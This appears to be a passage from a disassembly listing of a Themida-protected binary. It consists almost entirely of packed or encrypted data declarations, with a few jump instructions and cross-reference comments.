dd 5182E6DBh, 96516CB4h, 8C6AEA4Fh, 0DEEFA0A2h, 7D000000h
dd 24C11229h, 9273E0D1h, 7CA94A87h, 2BC41F26h, 0CE75EED1h
dd 13C44A7h, 0D1EC35D2h, 0A493E502h, 8454EBFh, 0A2CA26EBh
dd 0C5849626h, 0DE62DAA9h, 8F78FBDAh, 6F3B947Ah, 38D2AC79h
dd 718E428Fh, 22C80099h, 9459FE8Ah, 150971C3h, 0D5DE36CEh
dd 50A514F8h, 0A248F765h, 4ED2EABDh, 0D8540F39h, 19EDD82Dh
dd 0E9B30B25h, 0C648852h, 0C3BD8478h, 5A2E1B6Ah, 7C681C90h
dd 9BFF3A64h, 0EFF43A7h, 55AC1305h, 9C58125h, 704A3A64h
dd 628713C7h, 0EF38D50Eh, 0B1053447h, 4795795Dh, 0A3D5B135h
dd 605A3A64h, 44043EC6h, 0AA8059AFh, 94A1F21Bh, 78555E4Fh
dd 0E6DD2594h, 20ADE712h, 29146D98h, 46C761A5h, 0B782953Dh
dd 41AB8FC3h, 0D4724F54h, 94A1F213h, 36F20h, 84890000h
dd 0FDD4DE9Ch, 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh
dd 5F66BA63h, 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 4768CF7Bh
dd 89000032h, 8951243Ch, 4C181E1h, 83000000h, 0C8704E9h
dd 2C895C24h, 22916824h, 4890000h, 33B95124h, 8126C401h
dd 0B37EA8E9h, 0CE895620h, 595EF589h, 2F4768h, 24248900h
dd 4240481h, 58000000h, 4EC81h, 2C890000h, 8408F24h, 582434FFh
dd 4C481h, 2C8B0000h, 0E3895324h, 4C381h, 0C3810000h, 4
dd 5C241C87h, 0FAF21AE9h, 74651DFFh
; ---------------------------------------------------------------------------
cld
loc_594DC5: ; CODE XREF: Themida_:loc_5942D0j
mov eax, 6108CA6h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 4A27h
dd 0BFF14522h, 0D8B47004h, 0D50069B7h, 8FB63557h, 37AC21DDh
dd 1FA2773Ch, 0C7183048h, 7EFF3ED3h, 0FE28671Fh, 0A9187219h
dd 0E465466Dh, 4901067Dh, 0B9252964h, 0F8747CCh, 533D3C33h
dd 0F6261FE4h, 0F41F44D6h, 0A3C2584h, 6D0033C6h, 576E031Ch
dd 83402B34h, 718834F5h, 87560C6Fh, 0BAC11AE0h, 36EA5094h
dd 0B80F6CB1h, 0F0F66A3Fh, 53082B52h, 8D8D5AC2h, 6108E4Eh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A6C35646h
dd 394AB55Ah, 174D8D89h, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 8BB9DBC3h, 0B2E7D95h
dd 1985C706h, 60060B01h, 6A000073h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0C5DAC351h
dd 2858F460h, 5467DABBh, 100985C7h, 60Bh, 7E90000h, 0D4000000h
dd 4A47EBAEh, 0B5FF85D3h, 60B0105h, 23F5BD89h, 95FF060Bh
dd 60B0AC5h, 6AC7BF0Fh, 0DD95FF00h, 8B060B32h, 4F2CEBC0h
dd 5646B110h, 0AC51FDC7h, 0FB749A87h, 1C50935Fh, 9477204Fh
dd 4C7DE24Ah, 345CBF14h, 0B450DB32h, 0A577B7D1h, 0E863BCAFh
dd 0E95ADEC6h, 15Ch, 0F2181F3Bh, 94004BC1h, 81258B1h, 5119563Bh
dd 81A56F8h, 51115893h
db 9Fh, 71h
word_594F42 dw 383Ah ; DATA XREF: ___:off_438108o
dd 5168248Eh, 0C6482523h, 62FC7979h, 502FB69Dh, 515E1487h
dd 515E1597h, 515E14DFh, 515E14EBh, 515E14F7h, 515E14FBh
dd 515E14D2h, 515E14FEh, 515E1477h, 515E14BFh, 252D6D8Ch
dd 715E798Ah, 323166A7h, 0C2D679Eh, 515E14FDh, 515E14FEh
dd 515E147Fh, 515E14BFh, 515E14DFh, 515E14EFh, 515E14F7h
dd 515E14FBh, 515E14FDh, 515E14FEh, 515E147Fh, 515E14BFh
dd 515E14DFh, 515E14EFh, 515E14F7h, 515E14FBh, 515E14FDh
dd 515E14FEh, 515E147Fh, 515E14BFh, 515E14DFh, 515E14EFh
dd 515E14F7h, 515E14FBh, 515E14FDh, 515E14FEh, 515E147Fh
dd 515E14BFh, 515E14DFh, 515E14EFh, 515E14F7h, 515E14FBh
dd 515E14FDh, 515E14FEh, 515E147Fh, 515E14BFh, 515E14DFh
dd 515E14EFh, 515E14F7h, 515E14FBh, 515E14FDh, 515E14FEh
dd 515E147Fh, 515E14BFh, 515E14DFh, 515E14EFh, 515E14F7h
dd 515E14FBh, 515E14FDh, 515E14FEh, 515E147Fh, 515E14BFh
dd 515E14DFh, 515E14EFh, 515E14F7h, 515E14FBh, 515E14FDh
dd 515E14FEh, 515E147Fh, 515E14BFh, 515E14DFh, 68445C08h
dd 16DBE9h, 91EB6800h, 46E90610h, 68FFFBB3h, 61092CDh
dd 0FBB33CE9h, 93B968FFh, 32E90610h, 68FFFBB3h, 6109492h
dd 0FBB328E9h, 965568FFh, 1EE90610h, 68FFFBB3h, 610978Bh
dd 0FBB314E9h, 989C68FFh, 0AE90610h, 68FFFBB3h, 610996Bh
dd 0FBB300E9h, 9B8468FFh, 0F6E90610h, 68FFFBB2h, 6109C7Ch
dd 0FBB2ECE9h, 9D5368FFh, 0E2E90610h, 68FFFBB2h, 6109DF9h
dd 0FBB2D8E9h, 9F9B68FFh, 0CEE90610h, 68FFFBB2h, 610A41Eh
dd 0FBB2C4E9h, 0A52168FFh, 0BAE90610h, 0CFFFFBB2h, 886BD4B2h
dd 43A6116Dh, 2E5522Ch, 0C41FE8E6h, 705D2AA4h, 3B93EBBFh
dd 7650A94Ch, 0B20C6E89h, 0F2CC22C5h, 0A7B0EC05h, 7BADECDAh
dd 7654B0F9h, 0ADED20EDh, 3CCB377Bh, 5836B445h, 0FBD329B2h
dd 0B5CB0C0Ch, 40CF33D9h, 508E746Ah, 346CFC72h, 385B9B71h
dd 0D24CFB3Fh, 6E99750Eh, 8ACE8F9Bh, 9F48A64Fh, 6F92CD12h
dd 0D8DAB321h, 2B1A32C1h, 5B1CC04Fh, 20CAA620h, 933E3E8Fh
dd 0A68686Fh, 3C763B2Ch, 0BD9D6F93h, 933CE9B6h, 5320E6Fh
dd 0CE358C7Fh, 51BC0D09h, 43h, 482E47Fh, 0BD393AE6h, 514F36C1h
dd 5D1BE073h, 0E501759Dh, 7D9F43E9h, 0A638729Dh, 79F1625Ch
dd 744F8A74h, 7CCD6684h, 166F9234h, 2D96EBDEh, 0FEBC0E18h
dd 0D7h, 0EAB7A09Eh, 96F923Eh, 0B49F0631h, 0CCB25836h
dd 5CB845EEh, 63DF759Dh, 0FDD911D4h, 97D6114Fh, 2F4A0D3Fh
dd 2B75FB57h, 739CB074h, 2B4124D3h, 0C826B953h, 135790CEh
dd 4A9D8CBBh, 759E1208h, 58C203C9h, 0E7963ED9h, 675F9D58h
dd 0A71F5D98h, 1E9FD85h, 4D603C27h, 0E5554F8Bh, 64CE101Ah
dd 0D32B2C0Ah, 0C54A9DFBh, 0D26F930Ch, 9B16E16Eh, 80498539h
dd 0F7605EB8h, 69855A2Ah, 7A549649h, 3513719Eh, 32DDB932h
dd 0F05F37B7h, 5B99F575h, 0E45980EDh, 26AD6802h, 5F000014h
dd 18DBA422h, 0D316E1DDh, 9255229Ch, 548F7856h, 0C0CDBA14h
dd 8B037B2Fh, 0C6C0393Ch, 27CFE79h, 423CB2B5h, 0D7007CF5h
dd 7BADEE4Ah, 0B43D2069h, 0DDB93D34h, 1D539661h, 7BEFD6A1h
dd 0B6A19F63h, 4F8A7436h, 7725C73Bh, 0EC1E78FCh, 0E770030Ch
dd 816F9233h, 0C304804Bh, 201C46AAh, 0D8B4A529h, 73D8D37Ch
dd 34BC0E1Dh, 0B3h, 5836B4C1h, 92D129B2h, 0E7DF1958h, 2ABDAF0Bh
dd 759D58A8h, 0A7106E8Ch, 7650AEA9h, 0F6D02EC9h, 6E06654h
dd 0A611D34Dh, 0CB1397A0h, 30ECEA00h, 61710DD6h, 0B2B84F8Ah
dd 64666375h, 0C0D77175h, 9BD598AEh, 0F885AE88h, 1F6F91F5h
dd 0F7681423h, 33EF1D79h, 1CC2E857h, 0A76FF8D6h, 0BA498425h
dd 8FEF6846h, 4DAD4837h, 949FF371h, 1AB0E45Ah, 13443Bh
dd 8A047900h, 0C7BF3A3Dh, 7EFD78h, 5E38BCB7h, 98F676F1h
dd 511DE2Fh, 0DB1EE9E5h, 985B24A2h, 5C97605Eh, 12D7A01Eh
dd 0EF2CF162h, 464B7BADh, 5A34B41Fh, 482FB7Ch, 93E90CFBh
dd 0B4554C3Bh, 0E57E5836h, 51FB0482h, 3690E86Bh, 0B6106E09h
dd 615D9F58h, 9AF470CBh, 172C8870h, 0EC4CFED8h, 0FA71F463h
dd 0AF0B83FBh, 0CAC43ABDh, 42399A7Dh, 1A78569Ch, 426A0D9h
dd 5C820FD4h, 9A4D759Dh, 759D5D15h, 5E3CDE22h, 9D5D0895h
dd 77D32F75h, 531FC8C8h, 0BA4F8A74h, 0B94640B9h, 895C3B07h
dd 75FFE441h, 1D5904DAh, 78EBC5A1h, 51F51BE4h, 0B7C369D1h
dd 6AEDCB2Fh, 0AA96B412h, 0DB169B4Ch, 0DD3D71FCh, 10815232h
dd 0F4BEE5Eh, 0DC12D533h, 274384E2h, 53B1A0AFh, 0CD7F5790h
dd 0E907E26Dh, 7D0D57EDh, 6802E1F0h, 1258ADh, 96F00D00h
dd 0D3ABCE29h, 6C6A8164h, 0AA2440A3h, 0E4E21ADDh, 29FD321Bh
dd 0EF0AF5D1h, 0AC47308Eh, 60834C4Ah, 2EC38C0Ah, 0F018E54Eh
dd 723F7BADh, 5836B40Bh, 3A00E6B2h, 0EBE31BDCh, 4B579941h
dd 0EF7698F2h, 0B5BE1E29h, 4F8A9109h, 80632C2Ch, 80FE6C6Ah
dd 0BDAF2747h, 6A64865Dh, 2911D5DDh, 1F764CFh, 0E2C04982h
dd 81E0AC71h, 0C877CB69h, 506B4E14h, 0F2AF760h, 0F1496982h
dd 132F5A7Fh, 0F87B59B7h, 0B9E70581h, 8251E1AEh, 0AE0AF669h
dd 0CF785695h, 0FF8D614h, 123896D4h, 0BC9A6086h, 6866855Eh
dd 66F11EC2h, 4371E419h, 63E4C23Eh, 23C6B10Dh, 4F5BF1CDh
dd 78323997h, 0BA29C341h, 4182E0DEh, 0D7A2AD29h, 3D5F4733h
dd 3C08CA36h, 0D3F07794h, 117FDC39h, 0C9260000h, 84E702CDh
dd 43BABD0Ah, 0FD79FC4Bh, 0BB333681h, 0D61B74C3h, 632CAAC2h
dd 0A06F6780h, 0DCAB2345h, 1CEBE319h, 0F1BEA9D7h, 67BADF0h
dd 34B4548Bh, 80FB7C5Ah, 0B34E406h, 0DD0161Ch, 0E07B91EDh
dd 231F0D89h, 0AF8DEB47h, 0CD7A5494h, 8A6A363Ah, 26449F4Fh
dd 0B15E82A8h, 0DF16540Fh, 0DB0725A1h, 0D669837Fh, 96513E98h
dd 22007E58h, 92496C31h, 88B78B6Fh, 0C02ABCC4h, 0B54288E6h
dd 12EFC683h, 0FA9E6996h, 0F497F4Bh, 28461933h, 0EB36BCAEh
dd 73E8F8EBh, 0AA24449Fh, 0B118DE80h, 705B91F7h, 0B6A19BD1h
dd 6986F5E9h, 33D9B537h, 11CD4DCFh, 0C2BC3C37h, 0D847F028h
dd 0B3A40CD2h, 6986F5EEh, 7F593505h, 28A6C601h, 388541Fh
dd 0ADAD4374h, 1876F073h, 4F010EF2h, 6436DB11h, 0DE322785h
dd 5E38B631h, 661EA60h, 83B3044Ah, 42EDB2A5h, 360A637Ch
dd 0DD134709h, 8F58B6EEh, 637C4302h, 941E2911h, 0A58EE852h
dd 3D695099h, 70F35CBCh, 680FBFAh, 9E2F80AAh, 0B45D7141h
dd 2FB05A34h, 4A0698CCh, 6044D1D3h, 0B016684h, 5BD1C6C0h
dd 449BD170h, 51ABA826h, 0CB2E9975h, 6733D9B5h, 8A5DBB7Fh
dd 375DDCDAh, 98C7BC7h, 0E2489E89h, 6F365384h, 5B913155h
dd 7BF1C2EFh, 0F355CD03h, 0A59547F0h, 0D69EACAh, 8BE386B1h
dd 2B1FD533h, 0DB4428C5h, 1A400C3Bh, 0A25E3DD4h, 1A25216Eh
dd 54C1FE4Fh, 7FC31B51h, 53D1D601h, 6AD62B44h, 0D9B5CB0Ch
dd 8A0464FFh, 0A08FB860h, 71AF2745h, 333BC013h, 0E0584B44h
dd 32D05D86h, 1BE74B44h, 5F9F20ECh, 0A7ABED67h, 0AA40029Ah
dd 0FBC6Bh, 328CE100h, 4F47A245h, 88066580h, 0C6C0243Fh
dd 7EFE79h, 8D9956B7h, 43A6116Dh, 0E3AC2Ah, 0C41FE8E6h
dd 8A5F28A6h, 0F2B479EAh, 0CEC37BADh, 5A34B497h, 9AF40AEDh
dd 0AFC90A70h, 2F4D28D7h, 61DDB930h, 6554ACCBh, 5F28A6C4h
dd 0D6C4EB61h, 95834BD7h, 6DCD7F57h, 0C02B86B1h, 63B6023Dh
dd 17Eh, 5836B474h, 0FBD329B2h, 8102579Dh, 2D239BDCh, 2445E863h
dd 0D241CEAAh, 1F5B06D8h, 7AEDCBA7h, 4F8A862Eh, 0A205271Bh
dd 6F928619h, 0FB4EBDB3h, 0BC0DC190h, 3413h, 637B2400h
dd 36B6A19Fh, 3B4F8A74h, 398225C7h, 2F6F9234h, 8659F3CBh
dd 91C16B63h, 2F386C5Fh, 6F923262h, 6A2D8971h, 69D22792h
dd 3ABC0E18h, 0B8h, 5836B4DBh, 9FD129B2h, 559159BFh, 0D96FD379h
dd 0CF3C0BAFh, 0C190DCDCh, 4DFF5B37h, 0F01A748Ah, 5531498Ah
dd 39BC4BB7h, 0E97CCBC3h, 759DCF67h, 77512D43h, 549F79FCh
dd 759DCDC7h, 0BEB06CECh, 76414754h, 0F160EF78h, 0E3DD25B9h
dd 906B2A70h, 95F34F4Fh, 0D3BC1A52h, 64FED810h, 0DE4E513Ch
dd 86DC39D3h, 3F00000Eh, 0F87BC4C2h, 0B3B6017Dh, 72F5423Ch
dd 342F98F6h, 606DDAB4h, 2BA3DBCFh, 6660995Ch, 0A21C5E99h
dd 0E2DC12D5h, 0B7A0DC15h, 7BADF3EAh, 0B45D8009h, 1E7C5A34h
dd 3B28A6C5h, 759D5C76h, 0A392BD9Dh, 0B4CB2A40h, 0A66BFCDAh
dd 0CD759D5Ch, 3F26914Dh, 78569651h, 6E16ED2h, 157189E8h
dd 0B2C893B9h, 0F6D6BD4h, 9D5D5724h, 739C7C75h, 57B7AF0h
dd 95F32D89h, 9D5CBD42h, 0D966DA75h, 0B77B6337h, 59F79359h
dd 1CDF69E4h, 0BCB795F3h, 76AA403Eh, 8E663EC9h, 655B4F8Ah
dd 926E2DF2h, 5B914A6Fh, 5C2B8763h, 7E5E3h, 96518400h
dd 0D41F7955h, 759D5D47h, 8063EC6Ch, 91ED0968h, 0B5C1735h
dd 16759D5Eh, 0DB0C6AD0h, 4F8CEFE6h, 30336DEDh, 4442BAB9h
dd 719E42E8h, 0CD73513h, 6F8CCE7Fh, 0CB714DADh, 0EEFBE11Dh
dd 817D46C6h, 0A2AD2942h, 622DA9C7h, 0FF6D6987h, 95174B81h
dd 0F01685C4h, 724CAC47h, 5201D2F0h, 72D379DEh, 0D75h
dd 0CFBD328h, 47308EE9h, 86714DACh, 0C08F0763h, 7EC9C525h
dd 0B434E011h, 718A6DDAh, 2D4FAA15h, 0ED03E651h, 53CD2691h
dd 0ADF4FB80h, 6E91187Bh, 0ED5A34B4h, 7FFDF40Ah, 5935E507h
dd 0F30ACDB3h, 0A11D79FCh, 219DD396h, 3837B00Bh, 0F72BC1BDh
dd 0C6EF11Bh, 51B98B2h, 774FABB6h, 968965D5h, 0C8AED66h
dd 4F15221Eh, 378FED7Ch, 0EDFE6548h, 0DA1B602h, 0B6000000h
dd 9D52C9A4h, 9A11E875h, 36FFFFFDh, 79559651h, 26316FD3h
dd 759D5D59h, 0E275827Eh, 759D5E59h, 0B41269EAh, 159DAA96h
dd 240F69D1h, 4F8CEFEFh, 2C0A64D4h, 5991D02Bh, 0B76B817Dh
dd 0B35C3ABCh, 73DCBA30h, 0EE1C7AF0h, 0BBB91555h, 0DE520C13h
dd 0A65FBE2Ch, 0DF00000Ch, 985B24A2h, 5396615Dh, 12D5A21Ch
dd 0D40FF8D6h, 404D3A94h, 0B83FBAFh, 4640B9BCh, 82FC7EF9h
dd 0C2BC3235h, 5780FC75h, 7BADF5CAh, 0B4BDA0E9h, 29B25836h
dd 8E51FBD3h, 9AF4706Fh, 3E2C8870h, 894A44A5h, 0BDFA106Eh
dd 4D5254A7h, 76504F7h, 86EDC08Fh, 8EB602EDh, 0B35935B5h
dd 1757C04Fh, 60000000h, 1BE07351h, 38759D5Dh, 0D1AC37C0h
dd 90759D52h, 0FFFCD429h, 637BCEFFh, 0DEB9C1F5h, 0A703086Ch
dd 0DA0D6B49h, 759E2A55h, 0E6719E62h, 4F8B1F2Eh, 5F3D2F13h
dd 0DF686684h, 931FC414h, 0A514EC6Fh, 0D27E74Ch, 1E3B8BCh
dd 0A45D0000h, 759D5CC3h, 0BC322596h, 7CF275C2h, 1DC62402h
dd 759D5C90h, 0E0AC5BA7h, 9D5C664Fh, 408BA175h, 4F3CB21h
dd 0D674BA2Eh, 2897EF0Dh, 35D7AFCDh, 9BFC8147h, 9C16E59Bh
dd 3AC7E073h, 4B81759Dh, 0BC22980h, 9665B603h, 72000001h
dd 6D3236B4h, 36EA6E46h, 7927C5A1h, 7657CFEh, 0C1BD9D8Fh
dd 0AD48F72Bh, 0A288774Fh, 77F3743Ch, 260DED1Fh, 759DF959h
dd 0C826827Eh, 8AF40B1Fh, 0E802FE4Fh, 5E38B1B2h, 30C34CACh
dd 6F92F3A7h, 44C00BC1h, 0E6116D83h, 0D5460CBh, 29C3BCh
dd 7BD40000h, 667DF863h, 712D8905h, 748CCC17h, 0DE814F8Ah
dd 0AA403C9Ah, 9234B801h, 0AF1AD26Fh, 0E16F15Ah, 0ECB2BCh
dd 0B4430000h, 0CCB25836h, 7694F20Bh, 5D52DF08h, 9961759Dh
dd 1757123Dh, 0B4CA8DBFh, 625C3ABDh, 9D5D2CF1h, 1BF74B75h
dd 34106EF1h, 9D5D5E23h, 88E27575h, 9F6520Eh, 9D64FCFEh
dd 0B3B2C875h, 0C5C1253Ch, 0ED1FFB27h, 0F177510Dh, 752C80AFh
dd 78E710C4h, 64293A18h, 73759C5Ch, 5A34B48Fh, 19E105ADh
dd 8BE6343Fh, 0F12F4F8Eh, 17A4847Bh, 8C57FF2Eh, 6F8E61FFh
dd 611B2414h, 44A4BF99h, 27AFD4Ah, 866587E3h, 86095577h
dd 9C2AC0BCh, 0ED3C5A2Fh, 403C9862h, 4FA7F482h, 94711BDEh
dd 0A8Dh, 74C3BB30h, 0AF1876F1h, 0EE5935B4h, 2897EF0Bh
dd 66D1ADCDh, 9CDCC869h, 59925522h, 1557927Dh, 0D52BCEB9h
dd 0BBE50EF9h, 0ADF7E3A8h, 46B9F07Bh, 7C5A34B4h, 0E40680FBh
dd 0D91C0B34h, 7C5C2BA3h, 5D48D51Eh, 936F759Dh, 73517D64h
dd 9D5D1BE0h, 37C03875h, 0FF2A3EBCh, 8D60EC28h, 1EA14B27h
dd 3B19E6E0h, 0C890F35h, 0EB0906h, 0B04F81AAh, 0A19EA931h
dd 41Eh, 1623D446h, 14239BDDh, 84E2489Eh, 0BEAC2A43h, 2EF36442h
dd 45759D5Dh, 994A4AF5h, 4F8CEF7Dh, 0D3D7B088h, 1EC9270Bh
dd 4979E666h, 1745E75Bh, 113E98DCh, 81A6F546h, 43A19F69h
dd 81A60B90h, 27D02869h, 0AC176A51h, 7FC21EA0h, 396h, 5E13A418h
dd 53D1759Dh, 0A0759D5Dh, 625C933Eh, 5AB410C8h, 8A753189h
dd 1A6AE04Fh, 0EA2283C3h, 807824D3h, 4D4F3E42h, 0DA3BD1DEh
dd 995h, 6CDBB3C8h, 0A7106E89h, 0E6512D4Ch, 20EFE703h
dd 5E29A5C5h, 94D4C071h, 51AA4D3Ah, 0D6F8A75h, 0CD23C6B1h
dd 0B3ED06F1h, 0ADF8DBA0h, 4EB1F87Bh, 0B25836B4h, 4D0706CCh
dd 0A8B71D94h, 6FD30B9Fh, 0D510D331h, 59EF53F9h, 1913D4C4h
dd 0D49FA861h, 4F8D85B3h, 0B3F740B8h, 7EE9C72Bh, 497CF721h
dd 0BCC2A16h, 2D2B94F2h, 5D9DD42Ah, 0BB17CB61h, 0CB9EA991h
dd 697CD52Ah, 0D7A48FEDh, 0C5697CD4h, 0D9012BA3h, 7A30DF23h
dd 0ADA39D63h, 0FE146FAh, 0CA39C62Bh, 91ED09CAh, 6C6A8366h
dd 8F0765FEh, 7E589651h, 0B845EECCh, 0DF697CC4h, 0D4788763h
dd 0F6D01ACCh, 69E5756Dh, 8EBEB443h, 0AB4B8FABh, 0FB2E0468h
dd 0FE660775h, 9153AF51h, 0EA6CD31Bh, 0BE7BDA70h, 0E7000008h
dd 0A0430C8Ah, 7BFE4945h, 3A3D8A04h, 0FC77C0BEh, 58B5027Ch
dd 136B8397h, 0AE2841A4h, 0EAE406E1h, 2AA4DA1Dh, 7FE8945Dh
dd 7BADF9B2h, 7B95C8C1h, 0B6A19F63h, 4F8CEF59h, 4384E25Eh
dd 0E3AC2Ah, 0B6B1EFE7h, 0CFAD5F37h, 8CCD9764h, 0E05CBC6Fh
dd 84B30B63h, 0DC26B8C8h, 601871E2h, 4117497Ch, 61F2B3FDh
dd 697C359Ch, 0F28147BBh, 0D10FEBEDh, 50FAD416h, 0F416708Fh
dd 0ED9FA804h, 5D9E41A5h, 0BB17CB61h, 83E47F5Dh, 8453D80Bh
dd 9860697Bh, 0FAC6116Fh, 1F436835h, 85B52123h, 30DAEA6Eh
dd 818D5h, 56304D00h, 93EB0EE9h, 2CAAC124h, 6A648063h
dd 0A4225A9Dh, 693DF2DBh, 2FCAB511h, 0EC07F0CEh, 0A0430C8Ah
dd 6E834C4Ah, 0FA58250Eh, 327F7BADh, 3F36B4CBh, 0F129C3BBh
dd 0ADD3B15h, 759D5C85h, 0EFA1AE92h, 92B81654h, 5E89E715h
dd 759D5CD1h, 5B2770E6h, 0D7ADA0B4h, 0C534CC7Bh, 19CA46A4h
dd 759DB394h, 31895FA3h, 493B3EFDh, 0EBE95632h, 96B41268h
dd 774FA9AAh, 267EE5C8h, 6721B602h, 2F000001h, 57F5D114h
dd 51655CEBh, 0FD4CEE9Bh, 778019E5h, 0EA007EFCh, 0D4A31B51h
dd 0C42208DEh, 8A770713h, 0EC1EE24Fh
dd 5A34B58Eh, 7791DAADh, 253B6F92h, 0E770AED6h, 6F92761Ah
dd 6EECEA00h, 0C84BBBF8h, 0D28EE2F7h, 0C0218A25h, 4282BC0Dh
dd 93000000h, 7F579651h, 0C8E26DCDh, 61F22C16h, 4F8A73E9h
dd 343A14E4h, 1B6E0271h, 6B25D294h, 925777C0h, 0F0DB116Fh
dd 0DF53299h, 0DAF5BCh, 0BD9B0000h, 6207945Fh, 2C2C6F92h
dd 92617A07h, 96A1996Fh, 5836B42Fh, 0F5D129B2h, 8EEE6957h
dd 19261A30h, 48A6205Eh, 0F715718Fh, 5CD15E89h, 1AE6759Dh
dd 4B43A5BEh, 2CE79A1h, 6D4B43B9h, 113B93EAh, 0D12F1E29h
dd 53F9D516h, 0FB9560EFh, 0DF759D60h, 522C42A1h, 1BE440B8h
dd 0D6BCF17h, 8152AECAh, 759D40FCh, 0A14B271Bh, 7EFA79h
dd 404E99F7h, 554F8F71h, 2C488BE5h, 2C27A552h, 5394F2CCh
dd 0A594A31Bh, 833BA1A7h, 81D2BF18h, 86B16D69h, 31338BE3h
dd 0DE4F4ECFh, 76E726C4h, 2F000006h, 0E80BF4D2h, 0A346318Dh
dd 6285724Ch, 243F8806h, 107DCAC4h, 0DBB3CBDFh, 1670896Ch
dd 522C4EA9h, 92EC02E5h, 8750CC25h, 7BADFBFAh, 0B46D9019h
dd 0AED5A34h, 362D9AF4h, 0B25836B4h, 0CFBD329h, 3993h
dd 54D4B400h, 57B1796Dh, 37BFE79h, 730631E9h, 4F8CEF14h
dd 95F174CFh, 0C07C8B77h, 0E1249F78h, 0D432F8EEh, 7C5FE503h
dd 499AE049h, 697C3EC4h, 0D4B36FD3h, 456Bh, 96510C00h
dd 0E6CC7B53h, 0BDC3A00h, 4F8A535Bh, 5F9D46h, 9C7CEEE8h
dd 7AD60A20h, 43C91FD0h, 37AD6F92h, 698740C4h, 0F403FF6Dh
dd 0E4C228BEh, 7F598373h, 86E57E49h, 0DBB70F6Fh, 0A26DC931h
dd 9B3Dh, 637BDA00h, 51B6A19Fh, 564F8CEFh, 0AEF7A8EAh
dd 6882FC7Ch, 113B93D7h, 0F0CE2A29h, 7F2605Ah, 4EBDA31Dh
dd 137C90FBh, 5B13BCh, 7B240000h, 7EF863h, 7C5A36EAh, 4C8D5FF6h
dd 0C51EAE67h, 0D8002AA4h, 6286512Fh, 674F8DE3h, 9FE6999Bh
dd 99B30B63h, 3149A8C6h, 0A053F955h, 11CFB900h, 42A900CBh
dd 0E5BC1289h, 1Dh, 9F637BF2h, 0EF4FB6A1h, 0E4544F8Ch
dd 17B0F5AEh, 3CA7FAC1h, 0EFBC1379h, 14h, 646BA488h, 0D00E759Dh
dd 4FFDD917h, 23FB6493h, 9CFFFFFFh, 0A19F637Bh, 8CEE41B6h
dd 9AB0264Fh, 7AA28755h, 454DFF5Bh, 0F47F59A1h, 497CAE8Eh
dd 8E49A79Bh, 99F5766Dh, 24D38F73h, 7CC61868h, 20CCD102h
dd 17EB436Ch, 0C3BB3E39h, 98D31474h, 4599113Eh, 0AFA583FDh
dd 0D1B10BA2h, 0F2BFA4D4h, 1636C34h, 0A58E0E39h, 3D5BC630h
dd 0ACD2B17h, 67496F0h, 5BA550DDh, 3F9B675Dh, 9C52B010h
dd 0FD66A0C1h, 5D5C4730h, 9975FB47h, 0E36C84h, 0D41FE8E6h
dd 0C5A57C38h, 1FE8E604h, 8B10C321h, 0A8C5353Bh, 0AECCA750h
dd 786E3AD0h, 0E78354B2h, 0E29F2250h, 5886EC1Eh, 0C3641A92h
dd 0C14ED917h, 3BB1D03Bh, 0F771F443h, 8FEA6D9Fh, 0C0BC1A50h
dd 17E2702Ah, 2996F00Ah, 38D2ACCEh, 0EE0EB0C7h, 0D3047A90h
dd 0BF29804Eh, 1A5E9565h, 0B1358EBCh, 8E7DF3D5h, 49B0B694h
dd 77C0BE38h, 9E647B00h, 7D00E6Ch, 759D5C7Ah, 6B302399h
dd 88759D5Ch, 0E01FD4B0h, 609E59E6h, 5A9CC466h, 60CA1D6Fh
dd 0A01E5C97h, 0B9C60C62h, 0B8AACABEh, 27F47F59h, 4C759D7Ah
dd 0B0C043CCh, 69F8C365h, 9A5DBB13h, 19C16B63h, 91D46FEEh
dd 0AEA91735h, 33C6714Dh, 759D796Eh, 11309B51h, 0D40FF8D6h
dd 5D163492h, 759D7B0Dh, 96B3061Ch, 7A8D7A54h, 759D9D31h
dd 79B0742Ah, 5D39E444h, 3BBE44Eh, 0FF7B47B6h, 0B450FFFFh
dd 91EF5836h, 5836B0B3h, 9D5D068Bh, 222D2D75h, 0AECA2947h
dd 6AC63AD0h, 0FDD91728h, 303666A7h, 7BF25CE5h, 67FD0A27h
dd 1F77F594h, 2066DA0h, 350EB602h, 3885BB5h, 10759E55h
dd 78F74C28h, 30CEC1Eh, 4412h, 96512300h, 0E7CB7452h, 0ADD3BFFh
dd 4F8CEEECh, 0ED0301F9h, 95B70F6Ah, 228A6C2h, 72D562DEh
dd 0C732321Eh, 0D80B7175h, 6F8CCE53h, 0C23C9860h, 8F0763E4h
dd 0C792BD9Dh, 497C60A1h, 2FB54A4h, 3Eh, 9F637B23h, 4442A6A1h
dd 1D5E10A6h, 8F09D67Bh, 0B3A424D3h, 4F8CFE55h, 0F1AAE850h
dd 0D43202AAh, 8CDC7E03h, 24E8A16Fh, 0EEAA17F7h, 9D63EC6Ch
dd 200ADC2Eh, 0DDF71DC6h, 0EF2497Ch, 36B46A51h, 87E57E58h
dd 8B4C000Fh, 84AE1975h, 0B5BE9862h, 4F8A5861h, 0A01E5F98h
dd 0F7A9568Ah, 0FD4EE10Bh, 976F9257h, 343A6A51h, 0C430E82Bh
dd 218CBB47h, 0BC0E1CBAh, 286Dh, 637B0A00h, 36B6A19Fh
dd 3B4F8A74h, 894A44A0h, 7FB116Dh, 9D2E81ABh, 376F9234h
dd 0C77CA31h, 9FBC0E18h, 0D7h, 5836B4B8h, 0F5D129B2h, 106E8C57h
dd 8FF83036h, 6AA9BBE5h, 52A833DDh, 0F6788B74h, 32759E44h
dd 0F275C2BCh, 0AC31687Ch, 6C0274BEh, 0A39F8D09h, 0B1C16BC7h
dd 8DEBC52Dh, 9D67D55Ah, 0F11EE275h, 36B2B593h, 678409DAh
dd 0AF93759Dh, 56E159F3h, 8A769383h, 0F0D88E4Fh, 0A346FD40h
dd 78B8293Fh, 0EA34B3A7h, 7569410Eh, 143690EAh, 0C56E4824h
dd 498423F5h, 0CD0660D8h, 8366D1ADh, 0F9D1136Bh, 1EE45A96h
dd 1F3916Ch, 55AA0000h, 106B8E79h, 0CF2EC9B6h, 89ED08F7h
dd 47A7420Dh, 628F804Fh, 0EF5836B6h, 2C9BF374h, 68D7AFC9h
